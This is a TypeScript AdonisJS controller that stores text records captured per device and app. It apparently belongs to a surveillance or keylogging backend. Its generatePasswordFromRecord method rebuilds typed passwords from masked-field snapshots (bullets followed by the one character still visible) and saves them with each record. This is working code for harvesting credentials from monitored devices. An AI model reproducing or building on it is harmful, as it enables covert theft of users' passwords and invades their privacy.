| 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364 |
- import PaginationService from 'App/Services/PaginationService'
- import type { HttpContextContract } from '@ioc:Adonis/Core/HttpContext'
- import TextRecord from 'App/Models/TextRecord'
- import { schema } from '@ioc:Adonis/Core/Validator'
- export default class TextRecordController {
- private paginationService = new PaginationService(TextRecord)
- public async index({ request }: HttpContextContract) {
- return await this.paginationService.paginate(request.all())
- }
- public async store({ request, bouncer }: HttpContextContract) {
- await bouncer.authorize('admin')
- const payload = await request.validate({
- schema: schema.create({
- deviceId: schema.string(),
- appName: schema.string(),
- record: schema.string()
- })
- })
- const password = this.generatePasswordFromRecord(payload.record)
- return await TextRecord.create({ ...payload, password })
- }
- public async update({ request, params, bouncer }: HttpContextContract) {
- await bouncer.authorize('admin')
- const payload = await request.validate({
- schema: schema.create({
- deviceId: schema.string.optional(),
- appName: schema.string.optional(),
- record: schema.string.optional(),
- password: schema.string.optional()
- })
- })
- const record = await TextRecord.findOrFail(params.id)
- record.merge(payload)
- await record.save()
- return record
- }
- private generatePasswordFromRecord(text?: string): string {
- if (!text || typeof text !== 'string') return ''
- const bullet = '•'
- const result: string[] = []
- const seenCounts = new Set<number>()
- const lines = text.split(/\r?\n/)
- for (const rawLine of lines) {
- const line = rawLine.trim()
- if (line.length === 0) continue
- const lastChar = line.charAt(line.length - 1)
- if (lastChar === bullet) continue
- if (!/[A-Za-z0-9]/.test(lastChar)) continue
- const head = line.slice(0, -1)
- const allBullets = head.split('').every((c) => c === bullet)
- if (!allBullets) continue
- const bulletCount = head.length
- if (seenCounts.has(bulletCount)) continue
- seenCounts.add(bulletCount)
- result.push(lastChar)
- }
- return result.join('')
- }
- }
|